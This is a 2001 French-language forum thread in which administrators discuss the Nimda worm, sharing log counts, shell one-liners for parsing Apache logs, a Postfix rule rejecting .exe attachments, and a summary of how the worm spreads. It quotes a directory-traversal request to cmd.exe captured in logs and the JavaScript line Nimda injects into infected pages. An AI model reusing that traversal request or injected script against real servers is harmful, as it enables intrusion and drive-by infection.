
      Peu probable hélas.

      En effet , "comment une entreprise multinationale comme Microsoft pourrait-elle ignorer cet état de fait et laisser de tels trous de sécurité dans un serveur professionnel de l'envergure d'IIS", pourrait-on entendre !

      Ne serait-ce qu'à la maison, je passe pour un raseur quand je relate les différentes faiblesses de l'OS de Redmond, et je me fait engueuler lorsque cela plante effectivement, parce qu'alors personne veut croire que cela puisse être possible ("Ca a toujours marché ! Y a pas de raison").

      En réponse, il suffit que Microsoft fasse fonctionner 1% de sa FUD-Machine pour que la désinformation soit totale, et que pour un peu, ce soit les partisans du libre qui portent le chapeau.


      Sans aller jusque là, je pense que très peu de gens feront la relation entre les serveurs et le virus. Si les gens sont habitués à rebooter leur machine 4 fois par jour, alors je suppose que les virii font partie aussi de leur quotidien, qu'ils pensent que c'est comme çà et qu'il faut vivre avec.



      Les solutions efficaces, à mon avis, ce sont les campagnes de sensibilisation et les journées du libre, ainsi que les démonstrations des LUGs, comme celle de Chamarande ce week-end pour ceux qui y étaient. Rien de tel que le contact direct pour:

      1) Expliquer que l'objet du mouvement est de créer un système propre, et non de faire tourner un marché.
      2) Que c'est gratuit, et sans engagement.
      3) Que non, il n'y a pas de piège.

      Si les gens se laissent séduire, ben petit à petit on établira un standard de fait, exactement comme pour Windows. Les décideurs s'y mettront à leur tour, puisque ce sera répandu et sans surprise (le projet ne sera pas abandonné du jour au lendemain), et là, on fera de la vraie information.

      Et si cela se produit, il y a neuf chances sur dix pour que le commun des utilisateurs ne remarque même pas la transition (un peu comme la modification de l'histoire à la volée de l'incontournable 1984, qui décidément fait beaucoup parler de lui en ce 21ème siècle).

      Amitiés.

      • [^] # Re: Qu'en est il maintenant de IIS ?

        Posté par  . Évalué à 1.

        je passe pour un raseur quand je relate les différentes faiblesses de l'OS de Redmond, et je me fait engueuler lorsque cela plante effectivement

        Je ne sais pas si tu mets les formes ( il y a bien qq1 qui a décidé de mettre du iis ) lorsque tu relates les "faiblesses", si oui, les gens qui t'engueulent te prennent pour un con et ne sont pas ouverts.

        Un conseil: mauvaise boite, changer boite.

        • [^] # Re: Qu'en est il maintenant de IIS ?

          Posté par  . Évalué à 0.

          Ben en ce qui me concerne, c'est même pas en milieu professionnel mais bel et bien à domicile que je dois faire face à la mauvaise humeur qu'un système informatique défaillant peut provoquer :-)
          (Même s'il m'est arrivé de me faire pratiquement séquestrer dans un bureau dont l'ordinateur avait une panne (provoquée en fait par un serveur DHCP défaillant)).

          En général, ça passe quand je menace de laisser les personnes concernées se débrouiller seules ...

          Sinon, j'ai suivi ton conseil: J'ai largué ma (mauvaise) boite ! :-)

          Amitiés.

  • # plus gênant que Code Red

    Posté par  (site web personnel) . Évalué à 6.

    Le plus ennuyeux avec ce nouveau vers, c'est que contrairement à CodeRed qui ne faisait qu'une requête de temps en temps, celui-ci en fait beaucoup plus (sans compter qu'il défigure le serveur infecté et offre de se répandre par les clients qui s'y connectent ...

    grmbl ...

    seb.

  • # c'est aussi confirmé par cert.org

    Posté par  . Évalué à 4.

    http://www.cert.org/current/current_activity.html(...)

    pour le readme.exe il est associé à une pièce jointe html qui l'execute automatiquement à travers une iframe

  • # Assez bizarrement...

    Posté par  . Évalué à 2.

    ... j'ai eu droit à ça :
    195.1.135.186 - - [01/Sep/2001:11:47:05 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir" 302 - "-" "-"

    Ensuite, effectivement, ça a commencé aujourd'hui à 15h32 pour moi, et j'en suis à plus de 4000 hits générés.

    Par ailleurs, à part que c'est gros consomateur de bande passante et de ressource à côté de Code Red, quelqu'un a vu quelque part si c'est l'exploit d'une vulnérabilité répandue ? (ça ne m'en a pas du tout l'air...)

    En clair, si j'ai bien tout compris, c'est un virus à la SIRCAM (il faut que l'utilisateur le lance avec son mailer) qui lance un scan IP/Vulnérabilité(?) IIS. Par conséquent, il n'est pas aussi dangereux que Code Red en terme d'infection. Par contre, en terme de "ça m'emmerde", c'est une autre affaire.
    J'ai bon ?

    • [^] # Re: Assez bizarrement...

      Posté par  . Évalué à 4.

      Tiens un truc "amusant", sur mon serveur, le nombre d'attaque moyenne par IP est environ 42 :o)

      • [^] # Re: Assez bizarrement... attention -1

        Posté par  (site web personnel) . Évalué à -1.

        Et le virus ne fait pas un popup avec un gros bulldozer jaune ?

      • [^] # Re: Assez bizarrement...

        Posté par  (Mastodon) . Évalué à 0.

        Moi depuis ce matin:
        Serveur 1 : 264 IP distincts pour 3839 attaques
        Serveur 2 : 145 IP distincts pour 2259 attaques
        Serveur 3 : 364 IP distincts pour 6445 attaques
        Et ca vient du monde entier ;-)
        ...
        abn165-240.ank-ports.kablonet.net.tr
        adsl-156-12-152.asm.bellsouth.net
        analysis9.analysis.gr
        camelot.lfhk.cuni.cz
        class1.pisoft.it
        courseware.org.uk
        ...
        Pratique la résolution dns sur le serveur web

    • [^] # Re: Assez bizarrement...

      Posté par  . Évalué à 2.

      A propos de Sircam, quelqu'un sait-il s'il est possible d'éradiquer le Outlook de win2k ? Le bidule s'installe par défaut et je n'ai pas envie de l'utiliser. MS ne me l'aurait tout de même pas intégré à la mode Explorer : Un composant indispensable du système ? :(

  • # Nouveau Vers: Code Red le retour

    Posté par  . Évalué à 0.

    http://www.cnn.com/2001/TECH/internet/09/18/internet.attack.ap/inde(...)

  • # Son nom

    Posté par  . Évalué à 4.

    Ce virus a déjà un nom : nimda ou W32.Nimda.A@mm pour les intimes
    Source Norton : http://www.norton.com(...)
    Cet enfoiré effectue 14 requêtes à chaque fois !!!

  • # hé oui

    Posté par  . Évalué à 2.

    je confirme, j'ai déjà reçu ce vers aujourd'hui. m'enfin, un .exe ca peut pas faire de mal... (oh pardon, vous utilisez encore une messagerie sous windows ? bon courage !).
    jice - pas le courage de me loguer

  • # Mes logs vont exploser ;-)

    Posté par  (site web personnel) . Évalué à 2.

    Rien que pour la journée d'aujourd'hui, sur un serveur que j'administre, un "grep 'c+dir' accesss_log|wc -l' " me donne 3242 requêtes :-((

    Visiblement, ce ver scanne les serveurs du sous-réseau auquel il appartient puisque toutes les requêtes viennent du même hébergeur que moi (enfin les premières..).

    J'ai subi mes premières attaques à 15h59:59 précises (bizarre ou non, je ne sais pas). Est-ce que quelqu'un a plus de détails ?

    • [^] # Re: Mes logs vont exploser ;-)

      Posté par  (site web personnel, Mastodon) . Évalué à 0.

      15:37:16 ici (CEST). J'en suis à 1685 requêtes!

      La gelée de coings est une chose à ne pas avaler de travers.

      • [^] # Re: Mes logs vont exploser ;-)

        Posté par  . Évalué à -1.

        ici + de 3000 lignes en 3 heures ...

        It is a feature, not a bug ???

        Comme quoi winblows est gourmand en espace disque même sur les autres OS... (c;

      • [^] # Re: Mes logs vont exploser ;-)

        Posté par  . Évalué à -1.

        J'ai été sauvé par une fausse manip ... qui a rendu mon PC autiste (le firewall droppait tous les paquets) :)
        Le temps que je rentre chez moi pour réparer ça et j'ai éviter le pire je crois. Uniquement 30 attaques :(

        Par contre j'en suis à plus de 1400 pour CodeRed... (les stats sur http://drizzt.dyndns.org/codered.php(...)).

        Bon, tout le monde s'en fout donc -1

        • [^] # Re: Mes logs vont exploser ;-)

          Posté par  . Évalué à -1.

          Code Red 1 : 178 hits de la part de 177 serveurs
          (première occurence : 19/Jul/2001 17:47:17
          dernière occurence : 20/Aug/2001 00:01:41)

          Code Red 2 : 1813 hits de la part de 782 serveurs
          (première occurence : 04/Aug/2001 17:18:12
          dernière occurence : 18/Sep/2001 23:16:48)

          Nimda : 6189 hits de la part de 142 serveurs
          (première occurence : 18/Sep/2001 15:32:44
          dernière occurence : 18/Sep/2001 23:51:19)

          Bon, c'était p'têt pas la peine de sortir tout ça, mais on y voit que :

          Code Red 1 est mort et enterré
          Code Red 2 continue à sévir
          Nimda est beaucoup plus virulent que les deux réunis... (en quelques heures, presque autant d'IPs que Code Red 1 en 15 jours...)

          Mais bon, tout le monde s'en fout -> -1

    • [^] # Re: Mes logs vont exploser ;-)

      Posté par  . Évalué à 2.

      Pour ceux qui cherchent comment analyser leur fichier de log Apache, voici comment extraire les IP des machines infectées triées selon leur nombre d'attaques :

      grep c+dir access_log | awk -F " " '{print $1}' | sort | uniq -c | sort


      Je confirme, ca tape fort dans les logs !

    • [^] # Re: Mes logs vont exploser ;-)

      Posté par  (site web personnel) . Évalué à 2.

      et
      # cat /var/log/httpd/access* |grep root.exe |wc -l


      Par contre, comment fait-on pour distinguer les requêtes ? c-à-d savoir combien d'ip uniques ?

  • # hum hum

    Posté par  . Évalué à -4.

    "Depuis 15h20 (donc ~9h20 heure de NYC, cad pile-poil une semaine apres l'attentat)"

    heu..cette remarque a propos de l'attentat est-elle vraiment la bienvenue ....?

    ----------------------------------------------
    j'ai comme un doute

  • # Contre-attaque ?

    Posté par  (site web personnel) . Évalué à -2.

    Une semaine après l'attentat du WTC, quelques jours après l'annonce d'une vengeance par un groupe de hackers, apparait un sucesseur de Code Red. De là à penser qu'il s'agit de la préparatin d'une contre-attaque, il n'y a qu'un pas.
    Code Red I permettait en effet d'attaquer le "serveur de son choix". Cette nouvelle version pourrait ainsi permettre l'attaque des sites terroristes.
    On va ainsi peut-etre voir une union sacré des serveurs IIS dans la lutte contre le terrorisme ;-)

    • [^] # Re: Contre-attaque ?

      Posté par  . Évalué à 2.

      Je doute très franchement que les terroristes soient les plus génés. Les serveurs terroristes ? Il me semble qu'on a déjà évoqué leurs moyens de communication sur linuxfr. S'il faut plomber tout les newsgroups de sport et du cul, c'est pas tout bénef pour tout le monde !


      D'autant plus que la propagation de ce type de ver est plus une méthode terroriste que quoi ce soit d'autre.

  • # Sites WEB infectés

    Posté par  . Évalué à 3.

    Si vous avez essayé de contacter (par telnet ip 80 c'est plus prudent si vous êtes sous Windows) comme moi les serveurs qui envoient ces $¤#"% requêtes, une ligne
    <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html>
    est insérée à la fin de la page de garde, et un fichier readme.eml est ajouté à la racine. Ce qui vous ouvre une belle fenêtre avec un README.EXE en attachement. De là à cliquer, il n'y a qu'un neuneu^H^H^H^H^H^Hpas.

    -
    Feloy - Ah zut, j'suis déjà identifié

    • [^] # Re: Sites WEB infectés

      Posté par  . Évalué à 1.

      par telnet ip 80 c'est plus prudent si vous êtes sous Windows

      Dommage que tu as mis cette phrase entre parenthèse. Il faut insister sur le fait que le problème vient des produits microsoft et non pas de javascript.

  • # Les IPs heure par heure

    Posté par  (site web personnel, Mastodon) . Évalué à 1.

    Pour ceux que ça intéresse:

    Un script, posé dans /etc/cron.hourly/
    ---
    #!/bin/bash

    cat /var/log/httpd/error_log|grep script |cut -d " " -f 8 | uniq|sort|uniq|sed s/\]//g > /usr/local/www/html/monsite/ms_virii.txt
    ---
    (bien sûr, il ne doit pas y avoir le retour à la ligne)

    Le résultat: http://www.lzi.ch/ms_virii.txt(...)

    La gelée de coings est une chose à ne pas avaler de travers.

    • [^] # euh...

      Posté par  . Évalué à 0.

      c'est expres que tu nous donnes ce lot d'adresses ip de gars trouillote's ?

    • [^] # Re: Les IPs heure par heure

      Posté par  (site web personnel) . Évalué à 1.

      Perso, sur un des serveurs Web que j'administre pour ma boite, rien que pour l'error_log de la journée d'hier (mardi 18/09/01), j'ai 195 IP différentes qui produisent ces logs d'attaques !!!

      Le malheur, c'est que parmi ces 195 IP, beaucoup sont dans le même sous-réseau que moi (celui de mon hébergeur).

      Depuis 6h50, ce matin, 75 IP différentes ont tenté les mêmes requêtes.... Ras le bol de ces vers IIS !!!!

    • [^] # Re: Les IPs heure par heure

      Posté par  (site web personnel) . Évalué à 2.

      Révise un peu ton shell mais :
      cat /var/log/httpd/error_log|grep script |cut -d " " -f 8 |sort|uniq|sed s/\]//g c'est mieux.

      • [^] # Re: Les IPs heure par heure

        Posté par  (site web personnel, Mastodon) . Évalué à 1.

        Ouais, merci! C'étiait bien tard ;-)

        La gelée de coings est une chose à ne pas avaler de travers.

      • [^] # Re: Les IPs heure par heure

        Posté par  . Évalué à 1.

        suggestions :

        grep scripts ==> grep system32
        uniq|sort|uniq ==> sort -u

        • [^] # et tant qu'a faire...

          Posté par  . Évalué à 0.

          grep system32 /var/log/httpd/error_log |cut -d " " -f 8 |sort -u |sed s/\]//g

      • [^] # Re: Les IPs heure par heure

        Posté par  . Évalué à 2.

        Pas forcément mieux. Comme il y a de fortes chances que les attaques venant d'une même IP soient regroupées, autant enlever les doublons dès le départ avec uniq (qui ne prend pas beaucoup de CPU) avant de faire le sort qui est une opération assez coûteuse en CPU. Et une fois trié, tu refais un uniq.

        Par contre je ne vois pas l'utilité de faire un cat vers un pipe quand grep sait lire les fichiers comme un grand. Donc moi je dis:

        grep script /var/log/httpd/error_log|cut -d" " -f8|uniq|sort|uniq|sed s/\]//g

      • [^] # Re: Les IPs heure par heure

        Posté par  . Évalué à 9.

        Voici quelques analyses du fichier de log d'apache (j'essaie de faire du shell du mieux que je peux!)

        total du nombre d'attaques :
        grep c+dir access_log -c

        total du nombre d'ip differentes :
        grep c+dir access_log | cut -d " " -f 1 | sort | uniq -c | wc -l

        liste des ips triées selon leur occurence :
        grep c+dir access_log | cut -d " " -f 1 | sort | uniq -c | sort

        nombre d'attaques heures par heures :
        grep c+dir access_log | cut -d " " -f 4 | cut -d ":" -f 1,2 | uniq -c

        nombre d'ip différentes jour après jour :
        grep c+dir access_log | awk -F " " '{print $4 ": " $1}' | cut -d ":" -f 1,5 | sort | uniq | cut -d ":" -f 1 | uniq -c

        à vos stats !

        • [^] # Re: Les IPs heure par heure

          Posté par  (site web personnel) . Évalué à 2.

          Merci beaucoup, ca m'évite de chercher :o)
          Dommage que je n'ai plus de vote en réserve aujourd'hui !

        • [^] # Re: Les IPs heure par heure

          Posté par  (site web personnel) . Évalué à 2.

          par heure :
          grep c+dir access_log | cut -d " " -f 4 | cut -d ":" -f 1,2 | sed -e 's/\[//' | uniq -c

          histoire de virer le [ c'est plus joli :)

          pareil par jour...

          grep c+dir access_log | awk -F " " '{print $4 ": " $1}' | cut -d ":" -f 1,5 | sort | uniq | cut -d ":" -f 1 | sed -e 's/\[//' | uniq -c

  • # Newsletter de Secuser (Nimda)

    Posté par  (site web personnel) . Évalué à 4.

    Lu sur la newsletter de secuser.com :
    Nimda est un virus de mail qui se présente sous la forme d'un message dont le titre est aléatoire, accompagné d'un fichier joint généralement nommé README.EXE. Si ce fichier est exécuté, le virus s'auto-envoie aux correspondants présents dans la boîte de réception, grâce à son propre serveur SMTP. Sur un serveur web Microsoft IIS non patché contre la vulnérabilité "Unicode Web Traversal", Nimda modifie les pages en .HTM, .HTML et .ASP pour que les internautes qui visitent les sites hébergés sur ce serveur se voient proposer de télécharger un mail contenant le virus. Particulièrement virulent, Nimda tente de saturer les serveurs de mail, mais peut également scanner massivement le port 80 des serveurs web et provoquer ainsi ponctuellement des dénis de service. Les administrateurs concernés doivent de toute urgence appliquer le patch correctif.

  • # Probleme chez les providers ?

    Posté par  . Évalué à 0.

    Est-il possible que ces virus causent des plantage de routeurs chez les provider (genre server housing) ? Cette nuit, de 18h à 24h j'ai eu pas mal de serveurs down, et les techniciens disent que c'est à cause de Code Blue (sur des serveurs NT hostés dans la meme server-farm). Ca me semble un peu limite comme excuse, qu'en pensez vous ?

    • [^] # Re: Probleme chez les providers ?

      Posté par  . Évalué à 1.

      Code red avait un impact sur les equipemement reseau de toutes marques (cisco ...).
      IL faut maintenir l'os des équipements réseau a jour au meme titre que l'os des serveurs !!

    • [^] # Re: Probleme chez les providers ?

      Posté par  . Évalué à 2.

      Code Blue n'existe pas... C'est un hoax...

    • [^] # Re: Probleme chez les providers ?

      Posté par  . Évalué à 0.

      J'ai eu ce problème hier soir avec mon serveur linux, pendant une heure HS, après il a recommencé à répondre, on aurait dit qu'il subissait un DOS. La machine ne sait jamais arrêtée en fait, mais pendant ce temps rien dans les logs. Je ne sais pas exactement pourquoi mais il y a de fortes chances pour que ce soit lié à ce vers.

  • # Pour les utilisateurs de Postix

    Posté par  . Évalué à 5.

    Le mail de W. Venema indiquant comment refuser les mails vérolés


    Propagation via email can be stopped with:

    /etc/postfix/main.cf:
    body_checks = regexp:/etc/postfix/body_checks

    /etc/postfix/body_checks:
    /^[SPACE TAB]*name=.*\.exe/ REJECT

  • # Ras le bol de IIS !

    Posté par  . Évalué à 1.

    Je ne comprends toujours pas moi aussi coment apres tout cette floppée de virus qui sevissent en ce moment contre IIS, des entreprises peuvent encore faire confiance à MS, ou du moins IIS !!!

    Ce qui me chagrine encore plus, c'est que Netcraft nous sort depuis 2 mois mainteannt des stats qui montrent une augmentation du nombre de serveurs tournant sous IIS.

    Je trouve ça Halucinant !

    Si c'est du temps pour une migration d'un web serveur à un autre qui fait peur aux Entreprises, qu'elles etudient la solution une bonne fois pour toute, et qu'on en parle plus !
    En attendant, elles perdent du temps; de l'argent, et pénalise les autres boites et leurs clients (comme on peut le voie avec Nimba )...

    Un parfait exemple de ce que le monopole de MS peut provoquer.

    Faites confiance au libre bon sang !


    Nico

    • [^] # Re: Ras le bol de IIS !

      Posté par  . Évalué à 2.

      En fait, actuellement du fait des prix en baisses pour des connections adsl, les personnes mettent des NT/IIS car elle ne sont pas des Admins et la sécurité consiste a mettre un mot de passe sur l'écran de veille et c'est plus simple à mettre en place (pour eux).

      Donc il y a probleme de responsabilité et de volonté de rapidité/cout de mise en place.

      De plus combien de boite passe par des sociétés extérieur pour avoir juste le serveur web NT/IIS sans la maintenance, derrière juste pour les pannes hard ou soft. Mais la il n'y a pas d'arrêt de service, mais de la pollution de réseau.

      La les lugs peuvent proposer des services de prestations auprès des entreprises pour auditer les besoins et les satisfaire avec des logiciels libres et sécurisé.

    • [^] # Re: Ras le bol de IIS !

      Posté par  . Évalué à 1.

      Concernant Netcraft, les stats montrant la hausse d'IIS sont dues à 2 entreprises seulement (Network Solutions et Namezero). Chez Security Space, ces deux derniers mois, on a surtout une progression continue d'Apache.
      Juillet: http://www.securityspace.com/s_survey/data/200107/index.html(...)
      Août: http://www.securityspace.com/s_survey/data/200108/index.html(...)

      Concernant IIS, Netcraft a montré dans son ancien rapport, que ces vers ont pour effet de forcer les admins à patcher leurs IIS, donc à boucher les trous... Bref, grâce aux vers, IIS devient plus sûr, paradoxal, non? ;)

  • # attaques...

    Posté par  . Évalué à -1.

    http://www.cert.org/advisories/CA-2001-26.html(...)

    d'après cette url, il s'agirait d'un nouveau ver nommé Nimda.
    il exploiterait les mêmes failles que code red et aussi les backdoors laissés par ce dernier ainsi que les extensions frontpage.
    il possède différents modes de propagation :
    serveur-client
    client-serveur
    client-client (e-mail et partages réseaux)
    ...

  • # Un petit résumé

    Posté par  (Mastodon) . Évalué à 10.

    Nom : Nimda
    Méthodes de diffusion :
    - style codered (attaque directe de Microsoft/IIS, mais il utilise de nombreuses vulnérabilités de IIS au lieu d'une seule.
    - fichier attaché mail. Certaines versions d'outlook exécutent le fichier directement à la lecture du mail, aucune action de l'utilisateur
    n'est nécessaire.
    - page web infectée, certaines versions de Internet Explorer exécutent directement le script attaché à une page web issue d'un serveur infecté.
    La machine cliente s'infecte lors d'une simple navigation.
    - répertoires partagés anonymes windows (guest/sans mot de passe, très courant dans les bureaux pour s'échanger des documents).

    Une fois une machine infectée, il essaye de se répandre par tous les moyens : scans de serveurs web distants, envois massifs de mail,
    infection des pages web sur le site infecté, ouverture du C: en répertoire partagé sans protection, attaque des partages sur le
    voisinage réseau.

    La diversité des méthodes d'attaque fait qu'il passe facilement les firewalls, une surveillance accrue est donc nécessaire pour éviter sa
    diffusion en masse.

    Les sites qui ont mis en place un firewall, utilisant apache ou iplanet comme serveur web et une machine non windows comme passerelle mail ne
    répandront à priori pas l'infection si une de leur machine est compromise (le firewall évite l'envoi direct de mail par les clients windows, apache et iplanet ne peuvent pas être compromis, la passerelle non plus).
    Les sites ayant des machines windows connectées directement sur internet sont très vulnérables. Il est en effet quasiment impossible de maintenir
    un parc entier de machines à jour des correctifs de sécurité de Microsoft. Ces sites doivent être particulièrement vigilants.

    Quelques suggestions :
    - mettre en place un firewall qui protège des attaques directes
    - utiliser un serveur web professionnel (apache)
    - ne pas utiliser Outlook (il existe de nombreuse passerelles webmail qui ne sont pas vulnérables, ou du moins qui nécessitent une action volontaire de l'utilisateur pour infecter la machine cliente)
    - ne pas utiliser Internet Explorer, utilisez plutot netscape ou Mozilla qui ne sont pas vulnérables.
    - eviter les répertoires partagés windows, ou du moins les mettre sur un serveur samba, non vulnérable
    - prévenir et éduquer les utilisateurs sur comportement à avoir devant un mail douteux et devant _tout_ fichier attaché

    De très nombreuses machines sont déjà compromises, soyez donc extrêmement vigilants.

    Plus d'informations sur :
    http://www.incidents.org/react/nimda.php(...)
    Incidents.org qui est repassé en code d'alerte jaune
    http://www.securityfocus.org/(...)
    http://www.sarc.com/avcenter/venc/data/w32.nimda.a@mm.html(...)
    sarc.com qui classe nimda en catégorie 4, la plus dangereuse

    • [^] # Re: Un petit résumé

      Posté par  . Évalué à 1.

      en parlant d'outlook
      quelqu'un connait un autre mail client capable d'attaquer hotmail ?? parce que j'ai un compte sous hotmail depuis....avant que bill l'achete, et je voudrais passer a un autre appli, mais j'ai ce probleme

      • [^] # Outlook et mailer

        Posté par  . Évalué à 3.

        Je crois qu'il n'y en a pas pour une simple raison :

        MS a inventé un protocole permettant de rapatrier les mails depuis hotmail (en passant par le HTTP) sur outlook. Il n'est pas documenté du tout, c'est juste un truc pour lier hotmail et outlook et dire que outlook c'est le meilleurs, c'est le seul a pouvoir faire ca.

        outlook su>< AUSSI pour ça.

      • [^] # hotmail

        Posté par  . Évalué à 1.

        mauvais fournisseur de mail, changer founisseur de mail.

        http://www.securityfocus.com/templates/headline.html?id=12486(...)
        cf aussi la section Related Stories

        Encore une fois ce n'est pas javascript le coupable, mais bien microsoft.

    • [^] # Re: Un petit résumé

      Posté par  . Évalué à 2.

      >- prévenir et éduquer les utilisateurs sur comportement à avoir devant un mail douteux et devant _tout_ fichier attaché
      Ben voyons... Et la marmotte, elle met le chocolat dans le papier alu...
      Depuis "Melissa" et "I Love You", on n'arrête pas de le répéter, mais vas-t-en faire comprendre ça à un crét^H^H^H^Hutilisateur de base. J'ai laissé tomber, ça ne sert à rien. C'est juste une question de bon sens, mais en général, tu passes pour un paranoïaque.

      • [^] # Re: Un petit résumé

        Posté par  . Évalué à -1.

        Moi, je les menace de les faire passer sous linux si ils cliquent sur les pieces jointe, et bien ca marche :)

        Linux, une nouvelle methode de securité informatique :)

        • [^] # Si c'était aussi simple :)

          Posté par  . Évalué à 0.

          'faudrait déjà leur faire comprendre que ce n'est pas parce que je suis informaticien que je devrais savoir me servir de Word/Outlook. Bah oui, ya des gens qui sont étonnés que je ne puisse pas les aider à configurer Outlook et que je ne connaisse pas tous les trucs de Word...
          Vu comme ça, c'est mal barré :)

    • [^] # Re: Un petit résumé

      Posté par  . Évalué à 2.

      Je ne résiste pas à vous livrer quelques parties d'un mail reçu récemment de nos administrateurs mail.

      Je tiens à préciser que le gars qui a écrit ça n'est pas un idiot, ni quelqu'un d'antipathique, mais je soupçonne qu'il doit appliquer des décisions venant de plus haut.

      J'ai volontairement caché/coupé/censuré certaines infos. Juste les meilleures lignes.

      "Dans le but d'améliorer le service de messagerie et offrir de nouvelles fonctionnalités dans les mois qui suivent, ***** va procéder à l'installation de nouveaux serveurs de messagerie (passage à Exchange 2000).

      [...]

      ***** profite aussi de rappeler ou d'annoncer pour ceux qui ne le savent pas encore que les clients de messagerie conseillés et supportés sont Outlook (sur les plate-formes Windows et MacOS) et Webmail.

      Netscape doit être abandonné le plus rapidement possible au profit de Outlook car Netscape a depuis longtemps de gros problèmes pour afficher
      certains fichiers attachés et pour effacer correctement les messages, en fait il les cache le plus souvent et de nombreuses boîtes aux lettres
      arrivent tôt ou tard à saturation!

      [...]"
      Bref, on n'est pas dans le caca... :-(

      Ces gars utilisaient VMS avant, juste pour préciser encore que ce ne sont pas des idiots.

  • # le nicopatch microsoft (C) (R) (TM)

    Posté par  . Évalué à 1.

    Bon pour ceux qui au taf on des serveurs IIS voici l'adresse fournie par le support de 'crosoft

    http://www.microsoft.com/technet/treeview/default.asp?url=/technet/(...)

    visiblement si vous avez patché pour Code Red II et que vous avez les patchs à jour vous craignez rien ...

  • # Pour faire avancer le schmilblik !!:

    Posté par  . Évalué à 1.

    Comment faire une mini distrib pouvant démarrer sur disquette et/ou un CD avec différent outils
    permettant de scanner et réparer les partitions windows infectées.

    Pour l'instant je scanne et désinfecte à distance avec viruscan pour Linux et samba, mais ce serait
    plus rapide et plus simple si j'étais en local, surtout que ce virus rajoute des dll (Admin.dll)
    avec le virus sur toutes les partitions infectés sauf que viruscan ne peut pas le désinfecter car il est utilisé par le virus normal :-)

    Donc avis aux spécialistes qui pourraient m'aider.

    Merci.

  • # Vérification du patchage...

    Posté par  . Évalué à 1.

    En fait, si je comprends bien, ce ver ne devrait faire aucun mal à ceux qui avaient patché contre Cod Red II ?

    Pour conclure que ce ver nommé Nimda /admin à l´envers/ ait été lancé pour faire des stats sur le patchage des serveurs, il n´y a qu´un pas à faire... ;-)

    Ce ver prouve seulement noir sur blanc, avec des statistiques, que (<TROLL> l´ensemble des admins et l´ensemble des neuneus se recoupe...</TROLL>) même après une attaque majeure, il reste de la place pour lancer une deuxième attaque majeure...

    C´est pas gai.

  • # Les medias....

    Posté par  . Évalué à 2.

    Quelques perles:

    * France info dit :"[nimda] a infecté des serveurs professionnels par centaines de milliers"

    * la news de fr.yahoo.com qui explique que c'est "java" qui est une des causes de tout ca et nom pas le système d'exploitation windows, et outlook , et IIS, qui sont trois produits microsoft.

    Je vois à present des "J'ai lu que c'était certainement à cause de Java" et toute la clic de le "net c'est pas net"....

    Par pitié, lors des discussions famille/amis/boulot, si vous ne provoquez pas la discussion sur ce sujet et qu'il se presente, informez ! Si vous connaissez un/des journaliste(s) idem.

    Je ne parle pas d'en discuter entre nous ( qui savons ), mais d'informer le grand publique: celui qui regarde tf1 à la télé, ecoute france info dans sa voiture, et lit yahoo au boulot.


    forum zdnet : http://forums.zdnet.fr/forum/read.php3?f=3&i=4018&t=4018(...)
    new yahoo : http://fr.news.yahoo.com/010919/1/1vnv7.html(...)

    • [^] # Re: Les medias....

      Posté par  (site web personnel, Mastodon) . Évalué à 2.

      celui qui regarde tf1 à la télé, ecoute france info dans sa voiture, et lit yahoo au boulot.

      Ceux-là, ça fait longtemps que je ne les vois même plus ;-)

      La gelée de coings est une chose à ne pas avaler de travers.

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.